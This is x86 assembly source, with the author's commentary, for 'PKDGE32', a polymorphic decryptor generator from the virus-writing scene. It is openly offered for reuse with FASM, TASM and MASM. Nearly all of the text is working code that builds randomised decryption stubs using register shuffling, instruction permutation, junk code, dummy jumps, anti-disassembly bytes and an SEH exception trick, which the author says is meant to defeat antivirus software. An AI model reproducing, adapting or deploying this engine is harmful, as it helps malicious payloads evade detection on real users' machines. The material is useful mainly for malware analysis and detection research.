; ; pker's Decryptor Generation Engine for Win32 (PKDGE32) ; ====================================================== ; ; ; Description ; ----------- ; ; I wanted to code a polymorphic engine when I first started coding this. Then ; I got the idea of generating decrypt code dynamically instead of morphing the ; original decrypt code. The generated decryptor uses random registerz, with ; junk code inserted, and it's instruction-permutable. When coding, I found ; that the name 'decrypt generation engine' is more appropriate than a poly- ; morphic engine, so I renamed it to PKDBE32. ; ; Generally, the decrypt code looks like the following: ; ; mov Rw,offset code2decrypt ; (1) ; mov Rz,decrypt_size ; (2) ; decrypt_loop: xor byte [Rw],imm8 ; (3) ; inc Rw ; (4) ; dec Rz ; (5) ; jnz decrypt_loop ; (6) ; ; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ... ; this means the we can use random registerz in the decrypt code. The engine ; can select random registerz to generate each instruction. Meanwhile, the ; first 2 instructionz are permutable, so the engine will put the 2 instruc- ; tionz in a random order. Also, we know that some of the instructionz can be ; replaced by other instructionz that performed the same. For example, we can ; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine ; will insert junk codez after each instructionz. ; ; One more thing, the engine setup a SEH frame before the decrypt code in order ; to fuck some AVsoftz. And of course, there're also junk codez between these ; instructionz. ; ; The SEH frame's like the following code: ; ; start: call setup_seh ; (1) ; mov esp,[esp+8] ; (2) ; jmp end_seh ; (3) ; setup_seh: xor Rx,Rx ; (4) ; push dword [fs:Rx] ; (5) ; mov [fs:Rx],esp ; (6) ; dec dword [Rx] ; (7) ; jmp start ; (8) ; end_seh: xor Ry,Ry ; (9) ; pop dword [fs:Ry] ; (10) ; pop Rz ; (11) ; ; Then comes the real decrypt code (generated by this engine). ; ; ; How to use it? ; -------------- ; ; This engine can compile with FASM, TASM and MASM, etc. ; ; When using FASM we can: ; ; decryptor: times 40h db 90h ; crypt_code: ... ; crypted_size = $-crypt_code ; rng_seed dd ? ; ; gen_decrytpor: mov edi,decryptor ; mov esi,rng_seed ; mov ebx,crypt_code ; mov ecx,crypted_size ; mov edx,9ah ; call __pkdge32 ; ; When using TASM or MASM we should: ; ; decryptor db 40h dup (90h) ; crypt_code: ... ; crypted_size = $-crypt_code ; rng_seed dd ? ; ; gen_decrytpor: mov edi,offset decryptor ; mov esi,offset rng_seed ; mov ebx,offset crypt_code ; mov ecx,crypted_size ; mov edx,9ah ; call __pkdge32 ; ; One more feature, the engine returns the address of the code2decrypt field in ; the decryptor, so we can fix this value after generating the decryptor. This ; means we can replace the code which to be decrypt anywhere after generating ; the decrypt code. We can replace our code which to be decrypted just after ; the decryptor, without padding so many NOPz between them :P ; ; We could code like this: ; ; col_code: times crypted_size+200h db 0 ; ; gen_decrytpor: mov edi,col_code ; mov esi,rng_seed ; mov ecx,crypted_size ; mov ebx,12345678h ; mov edx,12345678h ; call __pkdge32 ; fix_address: mov esi,edi ; xchg eax,edi ; stosd ; xchg esi,edi ; copy_code: mov esi,crypt_code ; mov ecx,crypted_size ; rep movsb ; ; Well, enjoy it! ; ; ; Copyright ; --------- ; ; (c) 2004. No rightz reserved. Use without permission :P. ; ; ; __pkdge32 procedure ; =================== ; ; ; Description ; ----------- ; ; This is the main procedure of the engine. It controlz the whole generation ; process, including SEH setup, instruction generation, junk code insertion, ; etc. ; ; ; Parameterz and Return Value ; --------------------------- ; ; Input: ; ecx --- decrypt buffer size (counter in bytez) ; edx --- decrypt key ; edi --- pointz to the buffer to save decryptor ; ebx --- pointz to the buffer where saved the encrypted code ; esi --- pointz to the RNG seed buffer ; ; Output: ; edi --- the end of the decryptor ; eax --- pointz to the address of the code which will be decrypted in ; the decryptor, this means we can place the code which will be ; decrypted anywhere by fixing the value pointed by EAX ; __pkdge32: pushad xor ebp,ebp xchg esi,edi ; initialize the RNG seed call __randomize ; ... xchg esi,edi ; ... ; ; First, we select four random registerz for later use. These four registerz ; are all different ; xor ebx,ebx ; used to save Rw, Rz, Rx, Ry call pkdg_sel_reg or bl,al call pkdg_sel_reg shl ebx,4 or bl,al call pkdg_sel_reg shl ebx,4 or bl,al call pkdg_sel_reg shl ebx,4 or bl,al ; ; We setup a SEH frame, then we raise an exception and run the following codez. ; This action may fuck some of the AVsoftz. ; push edi xor eax,eax ; some junk code call __pkdge32_junk ; ... mov al,0e8h ; seh instruction 1 stosb ; ... stosd ; addr 1, no matter what, fix l8r push edi ; save addr1 to fix xor eax,eax ; some junk code call __pkdge32_junk ; ... mov eax,0824648bh ; seh instruction 2 stosd ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... mov al,0ebh ; seh instruction 3 stosb ; ... stosb ; addr 2, no matter what, fix l8r push edi ; save addr2 to fix mov eax,[esp+4] ; fix addr1 xchg edi,eax ; ... sub eax,edi ; ... sub edi,4 ; ... stosd ; ... add edi,eax ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... mov ah,bl ; seh instruction 4 and ah,7 ; ... or eax,0c031h ; ... push ebx ; ... and ebx,7 ; ... shl ebx,11 ; ... or eax,ebx ; ... pop ebx ; ... stosw ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... mov eax,0ff64h ; seh instruction 5 stosw ; ... mov al,bl ; ... and eax,7 ; ... or al,30h ; ... stosb ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... mov eax,8964h ; seh instruction 6 stosw ; ... mov al,bl ; ... and eax,7 ; ... or al,20h ; ... stosb ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... mov ah,bl ; seh instruction 7 and eax,700h ; ... or eax,08ffh ; ... stosw ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... mov al,0ebh ; seh instruction 8 stosb ; ... mov eax,[esp+8] ; ... sub eax,edi ; ... dec eax ; ... stosb ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... pop eax ; fix addr2 xchg eax,edi ; ... sub eax,edi ; ... dec edi ; ... stosb ; ... add edi,eax ; ... mov ah,bh ; seh instruction 9 and eax,700h ; ... or eax,0c031h ; ... push ebx ; ... and ebx,700h ; ... shl ebx,3 ; ... or eax,ebx ; ... pop ebx ; ... stosw ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... mov eax,8f64h ; seh instruction 10 stosw ; ... mov al,bh ; ... and eax,7 ; ... stosb ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... mov al,bh ; seh instruction 11 and al,7 ; ... or al,58h ; ... stosb ; ... xor eax,eax ; some junk code call __pkdge32_junk ; ... add esp,8 ; balance the stack ; ; Now, generate the first two instructionz with junk codez between them, and ; permute the two instructionz in a random order. ; mov ecx,2 call __random_rdtsc or ecx,ecx jz pkdg_gen_12 call pkdg_gen_1 call pkdg_gen_2 jmp pkdg_gen_f2f pkdg_gen_12: call pkdg_gen_2 call pkdg_gen_1 ; ; The last step, we generate the last four instructionz with junk codez in them ; these four instructionz must in the same order, but the registerz they use ; are still random ; pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI push edi ; save loop address push esi mov eax,ebx ; xor byte [Rw],Imm8 shr eax,12 ; ... and al,7 ; ... mov esi,[esp+28] ; ... call __pkdge32_gen_xor_reg_imm pop esi xor eax,eax call __pkdge32_junk mov eax,ebx ; inc Rw shr eax,12 ; ... and eax,7 ; ... or al,40h stosb xor eax,eax call __pkdge32_junk mov eax,ebx ; dec Rz shr eax,4 ; ... and eax,7 ; ... or al,48h ; ... stosb ; ... pop eax ; jnz decrypt_loop sub eax,edi ; get delta dec eax ; ... dec eax ; ... push eax mov al,75h ; write opcode stosb ; ... pop eax stosb ; write operand xor eax,eax call __pkdge32_junk mov [esp],edi ; save new EDI popad ret pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt mov eax,ebx ; get Rw shr eax,12 ; ... call pkdge32_gen12 mov [esp+32],eax ; save offset of code2decrypt ret pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size mov eax,ebx ; get Rz shr eax,4 ; ... and eax,0fh ; ... call pkdge32_gen12 ret ; ; Using this function to generate the first two instructionz of the decryptor, ; which are permutable ; pkdge32_gen12: push ecx push eax ; save mask mov ecx,2 ; determine using MOV REG/IMM call __random_rdtsc ; or PUSH IMM/POP REG or eax,eax pop eax ; restore mask pop ecx jz pkdg_g123_0 call __pkdge32_gen_mov_reg_imm push edi xor eax,eax mov esi,[esp+16] call __pkdge32_junk pop eax sub eax,4 ret pkdg_g123_0: call __pkdge32_gen_pushimm_popreg push eax xor eax,eax mov esi,[esp+16] call __pkdge32_junk pop eax sub eax,4 ret ; ; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will ; make EBX to the following structure: ; ; 31 15 0 ; +-----+-----+-----+-----+------+------+------+------+ ; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx | ; +-----+-----+-----+-----+------+------+------+------+ ; pkdg_sel_reg: mov eax,[esp+8] ; select random register mov edx,8 ; ... call __random ; ... or al,al jz pkdg_sel_reg ; don't use EAX cmp al,4 jz pkdg_sel_reg ; don't use ESP cmp al,5 jz pkdg_sel_reg ; don't use EBP or al,8 ; DWORD type push ebx and ebx,0fh cmp bl,al ; R == Rx ? pop ebx jz pkdg_sel_reg push ebx shr ebx,4 and ebx,0fh cmp bl,al ; R == Rz ? pop ebx jz pkdg_sel_reg push ebx shr ebx,8 cmp bl,al ; R == Ry ? pop ebx jz pkdg_sel_reg push ebx shr ebx,12 cmp bl,al ; R == Rw ? pop ebx jz pkdg_sel_reg ret ; ; __pkdge32_test_regmask procedure ; ================================ ; ; ; Description ; ----------- ; ; All the register mask in the engine (PKDGE32) measure up this formula: ; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of ; the operand ; ; +-------+-------+--------+ ; | bit 8 | bit 3 | type | ; +-------+-------+--------+ ; | x | 0 | byte | ; +-------+-------+--------+ ; | 0 | 1 | dword | ; +-------+-------+--------+ ; | 1 | 1 | word | ; +-------+-------+--------+ ; ; This function test this mask, if it specified a WORD type, the function STOSB ; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do ; nothing but return ; ; ; Parameterz and Return Value ; --------------------------- ; ; Input: ; eax --- register mask ; edi --- pointz to the buffer to save the instructionz ; ; Output: ; Nothing ; __pkdge32_test_regmask: test ah,1 jz pkdg_trm_ret push eax mov al,66h stosb pop eax pkdg_trm_ret: ret ; ; __pkdge32_gen_mov_reg_imm procedure ; =================================== ; ; ; Description ; ----------- ; ; This function generatez MOV REG,IMM type of instructionz. ; ; ; Parameterz and Return Value ; --------------------------- ; ; Input: ; eax --- register mask ; edi --- pointz to the buffer to save the instructionz ; esi --- immediate number (source operand) ; ; Output: ; Generate a instruction in the buffer EDI pointed, EDI pointz to the new ; position in the buffer ; __pkdge32_gen_mov_reg_imm: call __pkdge32_test_regmask push esi or al,0b0h ; generate opcode stosb ; ... xchg eax,esi ; EAX get the operand shr esi,4 jc pkdg_gmri_dw ; word/dword ? byte ? stosb ; byte pop esi ret pkdg_gmri_dw: shr esi,5 pop esi jc pkdg_gmri_w stosd ; dword ret pkdg_gmri_w: stosw ; word ret ; ; __pkdge32_gen_pushimm_popreg procedure ; ====================================== ; ; ; Description ; ----------- ; ; This function generatez PUSH IMM/POP REG group instructionz. ; ; ; Parameterz and Return Value ; --------------------------- ; ; Input: ; eax --- register mask ; edi --- pointz to the buffer to save the instructionz ; esi --- immediate number (source operand) ; ; Output: ; Generate a instruction in the buffer EDI pointed, EDI pointz to the new ; position in the buffer ; __pkdge32_gen_pushimm_popreg: call __pkdge32_test_regmask push ecx mov ecx,esi ; save IMM in ecx xchg esi,eax test esi,8 ; test BYTE or WORD/DWORD jz pkdg_gpp_b mov al,68h ; push WORD/DWORD stosb ; write opcode xchg eax,ecx ; get IMM test esi,100h ; test WORD or DWORD jnz pkdg_gpp_w stosd ; write operand jmp pkdg_gpp_pop pkdg_gpp_w: stosw jmp pkdg_gpp_pop pkdg_gpp_b: mov al,6ah ; push BYTE stosb ; write opcode mov al,cl ; get IMM stosb ; write operand pkdg_gpp_pop: push edi xor eax,eax push esi mov esi,[esp+28] call __pkdge32_junk pop esi call __pkdge32_test_regmask xchg esi,eax or al,58h ; generate POP opcode stosb ; write pop REG opcode pop eax pop ecx ret ; ; __pkdge32_gen_xor_reg_imm procedure ; =================================== ; ; ; Description ; ----------- ; ; This function generatez XOR [REG],IMM type of instructionz. ; ; ; Parameterz and Return Value ; --------------------------- ; ; Input: ; eax --- register mask ; esi --- the immediate number ; edi --- pointz to the buffer to save the instructionz ; ; Output: ; Generate a instruction in the buffer EDI pointed, EDI pointz to the new ; position in the buffer ; __pkdge32_gen_xor_reg_imm: call __pkdge32_test_regmask test al,1000b jnz pkdg_gxri_dw and eax,7 ; register mask xchg al,ah or eax,3080h stosw xchg eax,esi stosb ret pkdg_gxri_dw: push eax and eax,7 ; register mask xchg al,ah or eax,3081h stosw xchg eax,esi pop esi shr esi,9 jc pkdg_gxri_w stosd ; dword ret pkdg_gxri_w: stosw ; word ret ; ; __pkdge32_junk procedure ; ======================== ; ; ; Decription ; ---------- ; ; This is the junk code generator. It generatez length-spceified instructionz, ; dummy jumpz and anti-static-debugging opcodez. ; ; This procedure use EAX as junk register in order to generate instructionz ; like: ; ; mov eax,21343ab7h ; shr eax,8 ; or: ; push eax ; rol eax,1 ; pop eax ; etc. ; ; It generatez dummy jumpz such as: ; ; call @1 ; junk ; jmp @3 ; @2: junk ; ret ; @1: junk ; jmp @2 ; @3: junk ; ; It also generatez anti-static-debugging opcodez such as: ; ; jmp @0 ; db e9h ; @@: ; ; ; Parameterz and Return Value ; --------------------------- ; ; Input: ; eax --- If eax equalz to zero, the function generatez random length of ; instructionz, if eax is nonzero, the function generatez a ; certain length of instruction. ; esi --- pointz to the RNG seed buffer ; edi --- pointz to the buffer to save the instructionz ; ; Output: ; Nothing but junk codez in the buffer that EDI specified ; __pkdge32_junk: pushad xor ebx,ebx xchg esi,ebp ; let EBP hold the seed ptr. or eax,eax ; EAX containz number from 0~7 jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez mov edx,7 ; 6: generate dummy jumpz mov eax,ebp call __random ; ... pkdg_js: or eax,eax ; 0: nothing to do jz pkdg_j_ret ; just go back xchg ecx,eax ; let ECX hold that number cmp ecx,6 jz pkdg_j_dj ; ; Generate certain length simpile instructionz ; pkdg_j_gclsi: mov edx,ecx mov eax,ebp call __random or eax,eax jz pkdg_j_g1b dec eax jz pkdg_j_g2b dec eax jz pkdg_j_g3b dec eax dec eax jz pkdg_j_g5b jmp pkdg_j_gclsi ; ; Generate 5-byte instruction ; pkdg_j_g5b: call pkdg_j_5 db 0b8h ; mov eax,imm32 db 05h ; add eax,imm32 db 15h ; adc eax,imm32 db 2dh ; sub eax,imm32 db 1dh ; sbb eax,imm32 db 3dh ; cmp eax,imm32 db 0a9h ; test eax,imm32 db 0dh ; or eax,imm32 db 25h ; and eax,imm32 db 35h ; xor eax,imm32 pkdg_j_5: pop esi mov eax,ebp mov edx,10 call __random add esi,eax movsb mov eax,ebp mov edx,0fffffffch call __random inc eax inc eax stosd sub ecx,5 ; decrease counter jz pkdg_j_rptr jmp pkdg_j_gclsi ; ; Generate 3-byte instruction ; pkdg_j_g3b: call pkdg_j_3 db 0c1h,0e0h ; shl eax,imm8 db 0c1h,0e8h ; shr eax,imm8 db 0c1h,0c0h ; rol eax,imm8 db 0c1h,0c8h ; ror eax,imm8 db 0c1h,0d0h ; rcl eax,imm8 db 0c1h,0d8h ; rcr eax,imm8 db 0c0h,0e0h ; shl al,imm8 db 0c0h,0e8h ; shr al,imm8 db 0c0h,0c0h ; rol al,imm8 db 0c0h,0c8h ; ror al,imm8 db 0c0h,0d0h ; rcl al,imm8 db 0c0h,0d8h ; rcr al,imm8 db 0ebh,01h ; anti-static-debugging instr. pkdg_j_3: pop esi mov eax,ebp mov edx,13 call __random shl eax,1 ; EAX *= 2 add esi,eax movsw cmp eax,24 jge pkdg_j3_anti mov eax,ebp mov edx,14 call __random inc eax inc eax pkdg_j_3f: stosb sub ecx,3 ; decrease counter jz pkdg_j_rptr jmp pkdg_j_gclsi pkdg_j3_anti: mov eax,ebp mov edx,10h call __random add al,70h jmp pkdg_j_3f ; ; Generate 2-byte instruction ; pkdg_j_g2b: call pkdg_j_2 db 89h ; mov eax,reg db 01h ; add eax,reg db 11h ; adc eax,reg db 29h ; sub eax,reg db 19h ; sbb eax,reg db 39h ; cmp eax,reg db 85h ; test eax,reg db 09h ; or eax,reg db 21h ; and eax,reg db 31h ; xor eax,reg db 0b0h ; mov al,imm8 db 04h ; add al,imm8 db 14h ; adc al,imm8 db 2ch ; sub al,imm8 db 1ch ; sbb al,imm8 db 3ch ; cmp al,imm8 db 0a8h ; test al,imm8 db 0ch ; or al,imm8 db 24h ; and al,imm8 db 34h ; xor al,imm8 pkdg_j_2: pop esi mov eax,ebp mov edx,20 call __random add esi,eax movsb ; write the opcode cmp eax,10 jge pkdg_j2_imm8 mov eax,ebp mov edx,8 call __random shl eax,3 ; dest. operand or al,0c0h ; ... jmp pkdg_j2_f pkdg_j2_imm8: mov eax,ebp mov edx,100h call __random pkdg_j2_f: stosb dec ecx ; decrease counter dec ecx ; ... jz pkdg_j_rptr jmp pkdg_j_gclsi ; ; Generate 1-byte instruction ; pkdg_j_g1b: call pkdg_j_1 db 90h ; nop db 0f8h ; clc db 0f9h ; stc db 40h ; inc eax db 48h ; dec eax db 37h ; aaa db 3fh ; aas db 98h ; cbw db 0fch ; cld db 0f5h ; cmc db 27h ; daa db 2fh ; das db 9fh ; lahf db 0d6h ; salc pkdg_j_1: pop esi mov eax,ebp mov edx,14 call __random add esi,eax movsb ; write the code dec ecx ; decrease counter or ecx,ecx jnz pkdg_j_gclsi pkdg_j_rptr: mov [esp],edi pkdg_j_ret: popad ret ; ; Generate dummy jumpz. the generation formula show in the decription of the ; __pkdge32_junk procedure ; pkdg_j_dj: mov al,0e8h ; call xxxxxxxx stosb ; ... stosd ; addr1, no matter what, fix l8r push edi mov eax,ebp ; some more junx mov edx,6 ; ... call __random ; ... mov esi,ebp ; ... call __pkdge32_junk ; ... mov al,0ebh ; jmp xx stosb ; ... stosb ; addr2, no matter what, fix l8r push edi mov eax,ebp ; some more junx mov edx,6 ; ... call __random ; ... mov esi,ebp ; ... call __pkdge32_junk ; ... mov al,0c3h ; ret stosb ; ... mov eax,[esp+4] ; fix addr1 xchg eax,edi ; ... sub eax,edi ; ... sub edi,4 ; ... stosd ; ... add edi,eax ; ... mov eax,ebp ; some more junx mov edx,6 ; ... call __random ; ... mov esi,ebp ; ... call __pkdge32_junk ; ... mov al,0ebh ; jmp xx stosb ; ... mov eax,[esp] ; ... sub eax,edi ; ... dec eax ; ... stosb ; ... pop eax ; fix addr2 xchg eax,edi ; ... sub eax,edi ; ... dec edi ; ... stosb ; ... add edi,eax ; ... pop eax ; pop a shit mov eax,ebp ; some more junx mov edx,6 ; ... call __random ; ... mov esi,ebp ; ... call __pkdge32_junk ; ... jmp pkdg_j_rptr